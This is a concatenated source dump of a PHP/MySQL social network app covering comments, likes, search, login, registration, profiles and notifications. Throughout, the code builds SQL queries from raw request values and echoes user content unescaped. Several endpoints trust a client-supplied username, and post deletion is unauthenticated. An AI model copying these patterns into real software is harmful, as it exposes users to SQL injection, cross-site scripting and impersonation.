$notification = new Notification($loggedIn);
$notification->insertNotification($id, $user_to, 'profile_comment');
}
$select_other_comments = $database->query("SELECT * FROM comments WHERE post_id={$id}");
$users_notified = array();
while($row = mysqli_fetch_array($select_other_comments)) {
if($row['comment_by'] != $added_by && $row['comment_by'] != $user_to && $row['comment_by'] != $loggedIn && !in_array($row['comment_by'], $users_notified)) {
$notification = new Notification($loggedIn);
$notification->insertNotification($id, $user_to, 'comment_post');
array_push($users_notified, $row['comment_by']);
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<link rel="stylesheet" href="assets/css/style.css">
</head>
<body>
<style>
* {
font-size: 14px;
font-family: Arial, Helvetica, sans-serif;
}
</style>
<script>
function toggle() {
var element = document.getElementById("load_comments");
if(element.style.display == "block") {
element.style.display = 'none';
} else {
element.style.display = 'block';
}
}
</script>
<form action="" method="POST" id='comment_form'>
<textarea name="comment_content"></textarea>
<input type="submit" value="Comment" name='submit_comment'>
</form>
<?php
$load_comments_query = $database->query("SELECT * FROM comments WHERE post_id = {$id} ORDER BY post_id");
if(mysqli_num_rows($load_comments_query) != 0) {
while($row = mysqli_fetch_array($load_comments_query)) {
$comment_content = $row['comment_body'];
$comment_author = $row['comment_by'];
$comment_to = $row['comment_to'];
$date_added = $row['date_added'];
$date_added_full = Carbon::create($date_added)->diffForHumans();
$removed = $row['removed'];
$comment_by_user = new User($comment_author);
?>
<div id='load_comments'>
<a href="<?php echo $comment_author; ?>" target='_parent'> <img src="<?php echo $comment_by_user->getProfileImage() ?>" style="float:left;" height="30"> </a>
<a href="<?php echo $comment_author; ?>" target='_parent'> <b> <?php echo $comment_by_user->getFirstAndLastName(); ?> </b></a>
<?php echo $date_added_full . "<br>" . $comment_content; ?>
<hr>
</div>
<?php }
} else {
echo "<p style='text-align:center;'><br>No Comments</p>";
} ?>
</body>
</html><file_sep>/like.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<!-- <link rel="stylesheet" href="assets/css/bootstrap.min.css"> -->
<link rel="stylesheet" href="assets/css/style.css">
<!-- <script src="assets/js/bootstrap.min.js"></script> -->
<script src="https://kit.fontawesome.com/3e57996fc5.js" crossorigin="anonymous"></script>
<style>
* {
font-family:Arial, Helvetica, sans-serif;
}
body {
background-color: #fff;
}
form {
position: absolute;
top: 1px;
}
</style>
</head>
<?php
session_start();
include "config/define.php";
global $database;
if (!isset($_SESSION['username']) && !isset($_SESSION['name'])) {
header("Location: register.php");
} else {
$loggedIn = $_SESSION['username'];
}
if (isset($_GET['post_id']) && isset($_GET['username'])) {
$id = $_GET['post_id'];
$username = $_GET['username'];
}
$posts_query = $database->query("SELECT * FROM posts WHERE id = {$id}");
$row = mysqli_fetch_array($posts_query);
$total_likes = $row['likes'];
$added_by = $row['added_by'];
if (isset($_POST['like'])) {
$total_likes++;
$likes_query = $database->query("INSERT INTO likes(username, post_id) VALUES('{$loggedIn}', {$id})");
$update_user = $database->query("UPDATE users SET num_likes = num_likes+1 WHERE username = '{$username}'");
$update_posts = $database->query("UPDATE posts SET likes = {$total_likes} WHERE id = {$id}");
if($loggedIn != $username) { //ako ne lajkuje korisnik sam sebi
$notification = new Notification($loggedIn);
$notification->insertNotification($id, $added_by, 'like');
}
header('Location: ' . $_SERVER['REQUEST_URI']);
}
if (isset($_POST['unlike'])) {
$total_likes--;
$delete_likes = $database->query("DELETE FROM likes WHERE post_id = {$id} AND username = '{$loggedIn}'");
$update_user = $database->query("UPDATE users SET num_likes = num_likes - 1 WHERE username = '{$username}'");
$update_posts = $database->query("UPDATE posts SET likes = {$total_likes} WHERE id = {$id}");
header('Location: ' . $_SERVER['REQUEST_URI']);
}
$user_liked_post = $database->query("SELECT * FROM likes WHERE post_id = {$id} AND username = '{$loggedIn}'");
if (mysqli_num_rows($user_liked_post) == 0) { //ako je logovani user lajkovo post
echo "<form action='like.php?post_id={$id}&username={$username}' method='POST'>
<i class='far fa-thumbs-up'></i><input type='submit' name='like' value='Like' class='like_post'>
</form>
<span id='likes_span'> {$total_likes} Likes </span>
";
} else {
echo "<form action='like.php?post_id={$id}&username={$username}' method='POST'>
<i class='far fa-thumbs-down'></i><input type='submit' name='unlike' value='Unlike' class='unlike_post'>
</form>
<span id='likes_span'> {$total_likes} Likes </span>";
}
?><file_sep>/lazy_load_ajax.php
<?php
include("config/define.php");
$limit = 10;
$posts = new Post($_REQUEST['loggedIn']);
$posts->postsByFriends($_REQUEST, $limit);
?><file_sep>/search.php
<?php
include('config/init.php');
global $database;
if(isset($_GET['q'])) {
$search = $_GET['q'];
} else {
$search = "";
}
if(isset($_GET['type'])) {
$type = $_GET['type'];
} else {
$type = "name";
}
?>
<div class="main col">
<?php
if($search == "") {
echo "Enter something in search box.";
} else {
$full_names = explode(" ", $search);
if(count($full_names) == 2) {
$find_user = $database->query("SELECT * FROM users WHERE (first_name LIKE '%{$full_names[0]}%' AND last_name LIKE '%{$full_names[1]}%') AND user_closed = 'no' LIMIT 5");
} else {
$find_user = $database->query("SELECT * FROM users WHERE (first_name LIKE '%{$full_names[0]}%' OR last_name LIKE '%{$full_names[0]}%') AND user_closed = 'no' LIMIT 5");
}
if(mysqli_num_rows($find_user) == 0) {
echo "We can't find user by the name of ". $search;
} else {
echo mysqli_num_rows($find_user) . " results found: <br><br>";
}
while($row = mysqli_fetch_array($find_user)) {
$new_user = new User($loggedIn);
$button = "";
$mutual_friends = "";
if($loggedIn != $row['username']) {
if($new_user->isFriend($row['username'])) {
$button = "<input type='submit' name='". $row['username'] ."' class='remove_friend' value='Remove Friend'>";
} else if($new_user->didReceiveRequest($row['username'])) {
$button = "<input type='submit' name='". $row['username'] ."' class='request_received' value='Respond to request'>";
} else if($new_user->didSentRequest($row['username'])) {
$button = "<input class='request_sent_search' value='Request sent' disabled>";
} else {
$button = "<input type='submit' name='". $row['username'] ."' class='add_friend' value='Add Friend'>";
}
$mutual_friends = $new_user->mutualFriends($row['username']) . " friends in common";
if(isset($_POST[$row['username']])) {
if($new_user->isFriend($row['username'])) {
$new_user->removeFriend($row['username']);
header("Location: http://{$_SERVER}[HTTP_HOST]{$_SERVER}[REQUEST_URI]");
} else if($new_user->didReceiveRequest($row['username'])) {
header("Location: requests.php");
} else {
$new_user->addFriend($row['username']);
header("Location: http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]");
}
}
}
echo "<div class='search_all'>
<div class='friendButtons'>
<form action='' method='POST'> {$button} <br></form>
</div>
<div class='search_profile_picture'>
<a href='{$row['username']}'><img src='{$row['profile_picture']}' style='height:100px;'></a>
</div>
<a href='{$row['username']}'> {$row['first_name']} {$row['last_name']}
<p id='grey'> {$row['username']} </p></a><br>
{$mutual_friends}
</div><hr id='search_hr'>";
}
}
?>
</div><file_sep>/includes/form_handlers/handle_login.php
<?php
$login_errors = array();
if(isset($_POST['submit_login'])) {
global $database;
$username_email = $database->escape_string($_POST['username_email_login']);
$db_query = $database->query("SELECT * FROM users WHERE username = '{$username_email}' OR email = '{$username_email}'");
$row = mysqli_fetch_array($db_query);
$db_pass = $row['password'];
$password = $database->escape_string($_POST['password_login']);
$password_ver = password_verify($password, $db_pass); //poredjenje userovog inputa sa hashiranim stringom u bazi
if (empty($username_email) || empty($password)) {
array_push($login_errors, "Fill out both fields!");
} else {
if($password_ver) {
$full_name = $row['first_name'] . " " . $row['last_name'];
$username = $row['username'];
$acc_closed = $database->query("SELECT * FROM users WHERE (username='{$username_email}' OR email='{$username_email}') AND user_closed='yes'");
if (mysqli_num_rows($acc_closed) == 1) {
$reopen_acc = $database->query("UPDATE users SET user_closed='no' WHERE (username='{$username_email}' OR email='{$username_email}')");
}
$_SESSION['name'] = $full_name;
$_SESSION['username'] = $username;
header("Location: index.php");
}
else {
array_push($login_errors, "Username/email or password is wrong!");
}
}
}
?><file_sep>/includes/header.php
<?php ob_start();
session_start();
if(!isset($_SESSION['username']) && !isset($_SESSION['name'])) {
header("Location: register.php");
} else {
$loggedIn = $_SESSION['username'];
}
global $database;
$name_query = $database->query("SELECT * FROM users WHERE username= '{$loggedIn}'");
$user = mysqli_fetch_array($name_query);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>NEfeedWS</title>
<link rel="stylesheet" href="assets/css/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/style.css">
<link href="https://unpkg.com/dropzone/dist/dropzone.css" rel="stylesheet"/>
<link href="https://unpkg.com/cropperjs/dist/cropper.css" rel="stylesheet"/>
</head>
<body>
<div class="top_bar">
<div class="logo">
<a href="index.php">FeeDNewS</a>
</div>
<div class="search">
<form action="search.php" method="GET" name="search">
<input type="text" name="q" onkeyup="getLiveSearchData(this.value, '<?php echo $loggedIn; ?>')" placeholder="Search.." autocomplete="off" id='search_input'>
<div class="button_search">
<img src="assets/images/icons/images.png">
</div>
</form>
<div class="search_results"></div>
<div class="search_results_footer_empty"></div>
<div class="search_results_footer"></div>
</div>
<nav>
<?php
$message = new Message($loggedIn);
$unread_msg = $message->getUnreadNumber();
$notification = new Notification($loggedIn);
$unread_notif = $notification->getUnreadNumber();
$user_for_req = new User($loggedIn);
$friend_req = $user_for_req->getRequestsNumber();
?>
<a id='user' href="<?php echo $loggedIn; ?>"><?php echo $user['username']; ?></a>
<a href="#"><i class="fas fa-home"></i></a>
<a href="javascript:void(0);" onclick="getDropdownData('<?php echo $loggedIn; ?>', 'message')"><i class="fas fa-envelope"></i>
<?php
if($unread_msg > 0) {
echo "<span class='notification_msg' id='unread'> {$unread_msg} </span>";
}
?>
</a>
<a href="javascript:void(0);" onclick="getDropdownData('<?php echo $loggedIn; ?>', 'notification')"><i class="fas fa-bell"></i>
<?php
if($unread_notif > 0) {
echo "<span class='notification_msg' id='unread_notification'> {$unread_notif} </span>";
}
?>
</a>
<a href="requests.php"><i class="fas fa-users"></i>
<?php
if($friend_req > 0) {
echo "<span class='notification_msg' id='unread_notification'> {$friend_req} </span>";
}
?>
</a>
<a href="settings.php"><i class="fas fa-cog"></i></a>
<a id='logout_icon' href="logout.php"><i class="fas fa-sign-out-alt"></i></a>
</nav>
<div class="dropdown_data" style="height: 0px; border: none;"></div>
<input type="hidden" id="dropdown_value" value="">
</div>
<!-- <script>
var loggedIn = "<?php echo $loggedIn; ?>";
$(document).ready(function() {
$(".dropdown_data").scroll(function() {
var inner_height = $('.dropdown_data').innerHeight();
var scrollTop = $('.dropdown_data').scrollTop();
var page = $('.dropdown_data').find('.nextPageDropdownData').val();
var noData = $('.dropdown_data').find('.noMoreDropdownData').val();
if((scrollTop + inner_height >= $(".dropdown_data").prop('scrollHeight')) && noData == 'false') {
var pageName;
var type = $(".dropdown_value").val();
if(type == 'notification') {
pageName = 'ajax_load_notifications.php';
} else if(type = 'message') {
pageName = 'ajax_load_messages.php';
}
$.ajax({
url: pageName,
type: "POST",
data: "page="+ page + "&loggedIn=" + loggedIn,
cache: false,
success: function(response) {
$('.dropdown_data').find('.nextPageDropdownData').remove();
$('.dropdown_data').find('.noMoreDropdownData').remove();
$('.dropdown_data').append(response);
}
});
}
return false;
});
});
</script> -->
<div class="wrapper"><file_sep>/assets/js/main.js
$(document).ready(function() {
$("#submit_timeline").click(function() {
$.ajax({
type: "POST",
url: "timeline_ajax_post.php",
data: $("form.profile_post").serialize(),
success: function(message) {
$("post_form").modal('hide');
location.reload();
},
error: function() {
alert('Failure!');
}
});
});
$("#search_input").focus(function() {
if(window.matchMedia( '(min-width: 800px)' ).matches) {
$(this).animate({width: '30vh'}, 500);
}
});
$('.button_search').on('click', function() {
document.search.submit();
});
});
function getUser(value, user) {
$.post("friends_search_ajax.php", {query:value, loggedIn:user}, function(data) {
$(".results").html(data);
});
}
function getDropdownData(loggedIn, type) {
if($(".dropdown_data").css("height") == '0px') {
var page;
if(type == 'notification') {
page = 'ajax_load_notifications.php';
$("span").remove("#unread_notification");
} else if(type == 'message') {
page = 'ajax_load_messages.php';
$("span").remove("#unread");
}
var ajax_req = $.ajax({
url: page,
type: 'POST',
data: "page=1&loggedIn=" + loggedIn,
cache: false,
success: function(response) {
$(".dropdown_data").html(response);
$(".dropdown_data").css({"padding":"0px", "height":"280px", "border":"1px solid #DADADA"});
$("#dropdown_value").val(type);
}
});
} else {
$(".dropdown_data").html("");
$(".dropdown_data").css({"padding":"0px", "height":"0px", "border":"none"});
}
}
function getLiveSearchData(value, loggedIn) {
$.post("ajax_search.php", {query: value, loggedIn: loggedIn}, function(data) {
if($('.search_results_footer_empty')[0]) {
$('.search_results_footer_empty').toggleClass('.search_results_footer');
$('.search_results_footer_empty').toggleClass('.search_results_footer_empty');
}
$('.search_results').html(data);
$('.search_results_footer').html("<a href='search.php?q=" + value + "'>See Results</a>");
if(data=="") {
$('.search_results_footer').html("");
$('.search_results_footer').toggleClass('.search_results_footer_empty');
$('.search_results_footer').toggleClass('.search_results_footer');
}
});
}
$(document).click(function(e) { //kada se izlistaju live search rezultati, klikom sa strane nestaju
if(e.target.class != 'search_results' && e.target.id != 'search_input') {
$('.search_results').html("");
$('.search_results_footer').html("");
$('.search_results_footer').toggleClass('.search_results_footer_empty');
$('.search_results_footer').toggleClass('.search_results_footer');
}
});
<file_sep>/timeline_ajax_post.php
<?php include("config/define.php");
global $database;
if(isset($_POST['post_content'])) {
$post_content = $_POST['post_content'];
if(!empty($post_content)) {
$post = new Post($_POST['user_from']);
$post->submitPost($post_content, $_POST['user_to']);
}
}
?><file_sep>/includes/form_handlers/handle_register.php
<?php
$errors_array = array();
if(isset($_POST['submit'])) {
global $database;
$first_name = $database->escape_string($_POST['reg_first']);
if(strlen($first_name) > 25 || strlen($first_name) < 2) {
array_push($errors_array, "You must specify name between 2 and 25 characters!");
} else {
$first_name = ucfirst(strtolower($first_name)); //samo prvo slovo veliko
}
$last_name = $database->escape_string( $_POST['reg_last']);
if(strlen($last_name) > 25 || strlen($last_name) < 2) {
array_push($errors_array, "You must specify last name between 2 and 25 characters!");
} else {
$last_name = ucfirst(strtolower($last_name));
}
$email = $database->escape_string($_POST['reg_email']);
if(filter_var($email, FILTER_VALIDATE_EMAIL)) {
$db_emails = $database->query("SELECT email FROM users WHERE email = '{$email}'");
if(mysqli_num_rows($db_emails) > 0) {
array_push($errors_array, "E-mail already exist!");
} else {
$email_insert = filter_var($email, FILTER_VALIDATE_EMAIL);
}
} else {
array_push($errors_array, "Please use regular e-mail format!");
}
$username = $_POST['reg_username'];
$query = $database->query("SELECT username FROM users WHERE username = '{$username}'");
if(strlen($username) < 5 || strlen($username) > 25) {
array_push($errors_array, "Username must be between 5 and 25 characters!");
}
else if(mysqli_num_rows($query) > 0){
array_push($errors_array, "Username already exists!");
}
$password = $database->escape_string($_POST['reg_password']);
if(strlen($password) < 5 || strlen($password) > 25) {
array_push($errors_array, "Your password must be between 5 and 25 characters!");
}
$confirm_pass = $database->escape_string($_POST['reg_confirm']);
if($password != $confirm_pass) {
array_push($errors_array, "Passwords doesn't match!");
} else {
if(preg_match('/[^A-Za-z0-9]/', $password)) {
array_push($errors_array, "Your password can contain only standard characters!");
}
}
if(empty($errors_array)) { //insert samo ako nema errora
$password_hash = password_hash($password, PASSWORD_BCRYPT);
$date = date("Y-m-d");
//default profilna
$rand = rand(1,4);
if($rand == 1) {
$prof_pic = "assets/images/profile_pictures/defaults/head_amethyst.png";
} else if($rand == 2) {
$prof_pic = "assets/images/profile_pictures/defaults/head_deep_blue.png";
} else if($rand == 3) {
$prof_pic = "assets/images/profile_pictures/defaults/head_pomegranate.png";
} else if($rand == 4) {
$prof_pic = "assets/images/profile_pictures/defaults/head_turqoise.png";
}
$reg_query = $database->query("INSERT INTO users(first_name, last_name, username, email, password, signup_date, profile_picture, num_posts, num_likes, friends_array) VALUES('{$first_name}', '{$last_name}', '{$username}', '{$email_insert}', '{$password_hash}', '{$date}', '{$prof_pic}', '0', '0', '')");
}
}
?><file_sep>/delete_post.php
<?php include("config/define.php");
global $database;
if(isset($_GET['post_id']) && isset($_GET['added_by'])) {
$id = $_GET['post_id'];
$added_by = $_GET['added_by'];
$count_likes_query = $database->query("SELECT likes FROM posts WHERE id = {$id}");
$row = mysqli_fetch_array($count_likes_query);
$post_likes = $row['likes'];
$delete_from_posts = $database->query("DELETE FROM posts WHERE id = {$id}");
$delete_from_likes = $database->query("DELETE FROM likes WHERE post_id = {$id}");
$delete_from_users = $database->query("UPDATE users SET num_likes = num_likes - {$post_likes}, num_posts = num_posts - 1 WHERE username = '{$added_by}'");
header("Location: index.php");
}
?><file_sep>/config/init.php
<?php
require_once("define.php");
if($_SERVER['PHP_SELF'] != '/nefeedws/register.php') { //ne ukljucuju se ovi fajlovi ukoliko smo na register stranici
include("includes/header.php");
include("includes/footer.php");
}
?><file_sep>/profile.php
<?php
require 'vendor/autoload.php';
use Carbon\Carbon;
require_once("config/init.php");
global $database;
if(isset($_GET['profile_user'])) {
$username = $_GET['profile_user'];
$get_user_query = $database->query("SELECT * FROM users WHERE username = '{$username}'");
$user = mysqli_fetch_array($get_user_query);
$count_friends = substr_count($user['friends_array'], ",");
}
$user_profile_obj = new User($username);
$loggedIn_user = new User($loggedIn);
?>
<?php
if(isset($_POST['add_friend'])) {
$loggedIn_user->addFriend($username);
}
if(isset($_POST['remove_friend'])) {
$loggedIn_user->removeFriend($username);
}
if(isset($_POST['request_received'])) {
header("Location: requests.php");
}
?>
<style>
.wrapper {
margin-left: 0px;
padding-left: 0px;
min-height: 130vh;
}
.user_profile {
min-height: 100vh;
overflow: auto;
display: block;
}
</style>
<div class="user_profile">
<img src="<?php echo $user['profile_picture'] ?>" height="80px" alt="profile_user_<?php echo $username; ?>" id='profile_img' >
<span id='name'><?php echo $user['first_name'] . " " . $user['last_name']; ?></span>
<?php if($user['username'] == $loggedIn){ ?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" class="inputfile" />
<label for="file" class='label_file'>Upload image</label>
</form>
<?php } ?>
<div class="user_info">
<p><?php echo "Posts: " . $user['num_posts']; ?></p>
<p><?php echo "Friends: " . $count_friends; ?></p>
<p><?php echo "Signup date: " . Carbon::create($user['signup_date'])->diffForHumans(); ?></p>
<p><?php if($loggedIn != $username) echo "<br><span id='mutual'data-toggle='modal' data-target='#mutual_friends'>Mutual Friends: " . $loggedIn_user->mutualFriends($username) . "</span>";?></p>
</div>
<?php
if($user_profile_obj->isClosed()) {
header("Location: user_closed.php");
}
if($loggedIn != $username) {
if($loggedIn_user->isFriend($username)) {
echo "<br><form action='{$username}' method='POST'>
<input type='submit' name='remove_friend' class='remove_friend' value='Remove Friend'>
</form>";
} else if($loggedIn_user->didSentRequest($username)) {
echo "<br><form action='{$username}' method='POST'>
<input type='submit' name='request_sent' class='request_sent' value='Request Sent'>
</form>";
} else if($loggedIn_user->didReceiveRequest($username)) {
echo "<br><form action='{$username}' method='POST'>
<input type='submit' name='request_received' class='request_received' value='Respond To Request'>
</form>";
} else {
echo "<br><form action='{$username}' method='POST'>
<input type='submit' name='add_friend' class='add_friend' value='Add Friend'>
</form>";
}
?>
<br>
<input type="submit" class='request_received' data-toggle='modal' data-target="#post_form" value="Post to <?php echo $username; ?>">
<?php } ?>
</div>
<?php if($loggedIn_user->mutualFriends($username) > 0) { ?>
<div class="modal fade" id="mutual_friends" tabindex="-1" role="dialog" aria-labelledby="mutualFriendsModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">You and <?php echo $user_profile_obj->getFirstAndLastName(); ?> have mutual friends! </h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<?php
$mutual_friends = $loggedIn_user->displayMutualFriends($username);
foreach($mutual_friends as $friend) {
$mutual_friend = new User($friend);
if($mutual_friend->getUsername()) {
echo "
<div class='mutual_friends_list'>
<div class='friend_pic'>
<img src='{$mutual_friend->getProfileImage()}'>
</div>
<div class='friend_info'>
<a href='{$mutual_friend->getUsername()}' id='modal_href'>{$mutual_friend->getFirstAndLastName()}</a> ({$mutual_friend->getUsername()})
</div>
</div>
<hr>
";
}
}
?>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<?php } ?>
<div class="main_prof col">
<div class='posts_lazy'></div>
<img src="assets/images/icons/loading.gif" id="loading">
</div>
<div class="modal fade" id="post_form" tabindex="-1" role="dialog" aria-labelledby="postModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Post Something! </h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<p>Tell friend what's on your mind!</p>
<form action="" class="profile_post" method="POST">
<div class="form-group">
<textarea name="post_content" class="form-control"></textarea>
<input type="hidden" name="user_from" value="<?php echo $loggedIn; ?>">
<input type="hidden" name="user_to" value="<?php echo $username; ?>">
</div>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" name="submit" id="submit_timeline" class="btn btn-primary">Post!</button>
</div>
</div>
</div>
</div>
</div> <!-- wrapper div -->
<script>
var loggedIn = "<?php echo $loggedIn; ?>";
var profileUser = "<?php echo $username; ?>";
$(document).ready(function() {
$("#loading").show();
$.ajax({
url: "lazy_load_user_profile.php",
type: "POST",
data: "page=1&loggedIn=" + loggedIn + "&profileUser=" + profileUser,
cache: false,
success: function(data) {
$("#loading").hide();
$(".posts_lazy").html(data);
}
});
$(window).scroll(function() {
var height = $(".posts_lazy").height();
var scrollTop = $(this).scrollTop();
var page = $('.posts_lazy').find('.nextPage').val();
var noPostsLeft = $('.posts_lazy').find('.noPostsLeft').val();
if((document.body.scrollHeight == scrollTop + window.innerHeight) && noPostsLeft == 'false') {
$("#loading").show();
$.ajax({
url: "lazy_load_user_profile.php",
type: "POST",
data: "page="+ page + "&loggedIn=" + loggedIn + "&profileUser=" + profileUser,
cache: false,
success: function(response) {
$('.posts_lazy').find('.nextPage').remove();
$('.posts_lazy').find('.noPostsLeft').remove();
$('#loading').hide();
$('.posts_lazy').append(response);
}
});
}
return false;
});
$("#file").change(function() {
var username_loggedIn = "<?php echo $loggedIn; ?>";
var data = new FormData();
data.append('file', $("#file")[0].files[0]);
$.ajax({
url: "upload.php",
type: "POST",
data: data,
processData: false,
contentType: false,
success: function(data) {
$('#profile_img').attr("src", data);
$('.profile_img_post').each(function() {
if($("#added_by").attr("href") == username) {
$(this).html("<img src='" + data + "' width='60'>");
}
});
}
});
});
});
</script><file_sep>/ajax_search.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>NEfeedWS</title>
<link rel="stylesheet" href="assets/css/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/style.css">
<link href="https://unpkg.com/dropzone/dist/dropzone.css" rel="stylesheet"/>
<link href="https://unpkg.com/cropperjs/dist/cropper.css" rel="stylesheet"/>
</head>
<?php include("config/define.php");
global $database;
$query = $_POST['query'];
$loggedIn = $_POST['loggedIn'];
$full_names = explode(" ", $query);
if(count($full_names) == 2) {
$find_user = $database->query("SELECT * FROM users WHERE (first_name LIKE '%{$full_names[0]}%' AND last_name LIKE '%{$full_names[1]}%') AND user_closed = 'no' LIMIT 5");
} else {
$find_user = $database->query("SELECT * FROM users WHERE (first_name LIKE '%{$full_names[0]}%' OR last_name LIKE '%{$full_names[0]}%') AND user_closed = 'no' LIMIT 5");
}
if($query != "") {
while($row = mysqli_fetch_array($find_user)) {
$user = new User($loggedIn);
if($row['username'] != $loggedIn) {
$mutual_friends = $user->mutualFriends($row['username']) . " friends in common";
} else {
$mutual_friends = "";
}
echo "<div class='display_friend' style='background-color: aliceblue;'>
<a href='messages.php?u=" . $row['username'] ."' style='color:#000;'>
<div class='live_search_img'>
<img src='". $row['profile_picture'] ."'>
</div>
<div class='live_search_text'>
" . $row['first_name'] . " " . $row['last_name'] . "<p>" . $row['username'] . "</p>
<p id='grey' style='padding-top:6px;'> " . $mutual_friends . "</p>
</div>
</a>
</div>";
}
}
?>
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/main.js"></script>
<script src="https://unpkg.com/dropzone"></script>
<script src="https://unpkg.com/cropperjs"></script>
<script src="https://kit.fontawesome.com/3e57996fc5.js" crossorigin="anonymous"></script>
</body>
</html><file_sep>/user_closed.php
<?php require_once("config/init.php"); ?>
<div class="main col">
<p>This user account is closed. </p>
Click <a href="index.php">here</a> to go back!
</div>
</div><file_sep>/close_account.php
<?php
include("config/init.php");
global $database;
if(isset($_POST['cancel'])) {
header("Location: settings.php");
}
if(isset($_POST['close_account'])) {
$close_account_query = $database->query("UPDATE users SET user_closed = 'yes' WHERE username = '{$loggedIn}'");
session_destroy();
header("Location: register.php");
}
?>
<div class="main col">
<h3>Close Account</h3>
Are you sure you want to close your account?<br><br>
Closing account will hide your profile and your activity to other users. <br><br>
Re-open your account by simply logging in! <br><br>
<form action="" method="POST">
<input type="submit" value="Yes! Close my account!" name="close_account" id="close_account" class="remove_friend settings_update">
<input type="submit" value="No!" name="cancel" class="request_received settings_update">
</form>
</div><file_sep>/config/database.php
<?php
class Database {
private $connection;
function __construct()
{
$this->db_connection();
}
function db_connection() {
$this->connection = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
return $this->connection;
}
function query($sql) {
$result = $this->connection->query($sql);
if(!$result) {
echo "QUERY FAILED! " . $this->connection->error;
}
return $result;
}
function escape_string($property) {
$escaped = $this->connection->real_escape_string($property);
return $escaped;
}
}
$database = new Database();
?><file_sep>/index.php
<?php require_once("config/init.php"); ?>
<?php if(isset($_POST['submit_post'])) {
$upload = 1;
$img_name = $_FILES['file']['name'];
$error_msg = "";
if($img_name != "") {
$upload_directory = "assets/images/posts/";
$img_name = $upload_directory . uniqid() . basename($img_name);
$img_type = pathinfo($img_name, PATHINFO_EXTENSION);
if($_FILES['file']['size'] > 10000000) {
$error_msg = "Your file is to large!";
$upload = 0;
}
if(strtolower($img_type) != 'jpeg' && strtolower($img_type) != 'png' && strtolower($img_type) != 'jpg') {
$error_msg = "Only jpeg, jpg and png file extensions are allowed!";
$upload = 0;
}
if($upload) {
if(move_uploaded_file($_FILES['file']['tmp_name'], $img_name)) {
}
} else {
$upload = 0;
}
}
if($upload) {
$post = new Post($loggedIn);
$body = $_POST['post_content'];
$post->submitPost($body, 'none', $img_name);
} else {
echo "<div style='text-align:center;' class='alert alert-danger'>
{$error_msg}
</div>";
}
} ?>
<div class="user_det col">
<a href="<?php echo $loggedIn; ?>"><img src="<?php echo $user['profile_picture']; ?>"></a>
<div class="user_det_lt_rt">
<a href="<?php echo $loggedIn; ?>">
<?php echo $user['first_name'] . " " . $user['last_name']; ?>
</a>
<br>
<?php echo 'Likes: ' . $user['num_likes'] . '<br>';
echo 'Posts: '. $user['num_posts'] . '<br>' ?>
</div>
</div>
<div class="main col">
<form action="" class='index_form' method="POST" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<textarea name="post_content" placeholder="Share with friends!"></textarea>
<input type="submit" value="Post" name="submit_post">
<hr>
</form>
<div class='posts_lazy'></div>
<img src="assets/images/icons/loading.gif" id="loading">
</div>
<script>
var loggedIn = "<?php echo $loggedIn; ?>";
$(document).ready(function() {
$("#loading").show();
$.ajax({
url: "lazy_load_ajax.php",
type: "POST",
data: "page=1&loggedIn=" + loggedIn,
cache: false,
success: function(data) {
$("#loading").hide();
$(".posts_lazy").html(data);
}
});
$(window).scroll(function() {
var height = $(".posts_lazy").height();
var scrollTop = $(this).scrollTop();
var page = $('.posts_lazy').find('.nextPage').val();
var noPostsLeft = $('.posts_lazy').find('.noPostsLeft').val();
if((document.body.scrollHeight == scrollTop + window.innerHeight) && noPostsLeft == 'false') {
$("#loading").show();
$.ajax({
url: "lazy_load_ajax.php",
type: "POST",
data: "page="+ page + "&loggedIn=" + loggedIn,
cache: false,
success: function(response) {
$('.posts_lazy').find('.nextPage').remove();
$('.posts_lazy').find('.noPostsLeft').remove();
$('#loading').hide();
$('.posts_lazy').append(response);
}
});
}
return false;
});
});
</script>
</div><file_sep>/includes/classes/Notification.php
<?php
require 'vendor/autoload.php';
use Carbon\Carbon;
class Notification {
private $user;
function __construct($user)
{
$this->user = new User($user);
}
public function getUnreadNumber() {
global $database;
$loggedIn = $this->user->getUsername();
$query = $database->query("SELECT * FROM notifications WHERE viewed = 'no' AND user_to = '{$loggedIn}'");
return mysqli_num_rows($query);
}
public function insertNotification($post_id, $user_to, $type) {
global $database;
$loggedIn = $this->user->getUsername();
$loggedIn_name = $this->user->getFirstAndLastName();
$date = Carbon::now();
switch($type) {
case 'comment':
$message = $loggedIn_name . " commented on your post.";
break;
case 'like':
$message = $loggedIn_name . " liked your post.";
break;
case 'profile_post':
$message = $loggedIn_name . " posted on your profile.";
break;
case 'comment_post':
$message = $loggedIn_name . " commented on post you commented on.";
break;
case 'profile_comment':
$message = $loggedIn_name . " commented on profile post.";
break;
}
$link = "post.php?id=" . $post_id;
